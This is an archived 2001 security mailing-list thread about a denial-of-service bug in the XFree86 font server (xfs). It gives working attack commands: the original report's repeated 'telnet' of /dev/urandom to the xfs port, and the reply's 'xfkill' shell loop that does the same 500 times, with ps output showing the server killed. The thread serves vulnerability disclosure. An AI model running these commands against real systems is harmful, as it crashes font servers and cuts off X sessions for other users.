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Re:XFree86-xfs-4.0.1-1 DoS
From: "Mathias Dybvik" <tmdybvik () hotmail com>
Date: Sun, 10 Jun 2001 03:16:42 -0400

Confirmed, on Mandrake 8.0.

I should, however, point out that I was only able to take down the font-server as a local user, and not from a remote host. This could be a bandwidth problem, caused by the fact that I only have a measly 10Mb/s LAN. Then again, my urandom bandwidth is less than half of that, so I'm not sure what gives...

The moral of the story is that (at least) any local user can kill the xfs process. This has dire consequences for any user either using X on that box, or using an x-terminal relying on that fontserver.

[user () userland ~]$ ps -ax|grep xfs
9363 ?        S      0:00 xfs -port 7100 -daemon -user xfs
9574 pts/1    S      0:00 grep xfs

[user () userland ~]$./xfkill

[user () userland ~]$ ps -ax|grep xfs
9626 pts/1    S      0:00 grep xfs

$cat xfkill
[user () userland ~]$ cat xfkill
for ((COUNT=0;COUNT<500;COUNT=$COUNT+1)) do
echo sending garbage to $XFSPORT pass $COUNT
telnet $XFS_IP $XFSPORT </dev/urandom &>/dev/null

Version information:
$ rpm -qi XFree86-xfs
Name        : XFree86-xfs                  Relocations: (not relocateable)
Version     : 4.0.3                             Vendor: MandrakeSoft
Release     : 7mdk                          Build Date: Sun 08 Apr 2001 08
Install date: Mon 23 Apr 2001 09:32:49 PM UTC      Build Host: bi.mandrake
Group       : System/Servers                Source RPM: XFree86-4.0.3-7mdk
Size        : 536213                           License: MIT
Summary     : Font server for XFree86

Original Message <<<<<<<<<<<<<<<<<<

On 6/6/01, 2:31:49 PM, =?iso-8859-2?q?Jaros=B3aw=20Zachwieja?= <grok () mhd pl> wrote regarding XFree86-xfs-4.0.1-1 DoS:


xfs from the package XFree86-xfs-4.0.1-1 (i386.rpm), RedHat 7.0 seems to
suffer from a Denial of Service attack.
To cause xfs to stop responding for requests, try to do the fillowing:

$ telnet victim xfs </dev/urandom

Repeat about 100 (or 1000) times and you get Connection refused message.

Regular Xservers can no longer connect, usually crash stating Could not open
default font 'fixed' and probably get disabled for 5 minutes if run from

I'd appreciate any succesfull/unsuccesfull attemps of reproducing this

Valentine M. Smith
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

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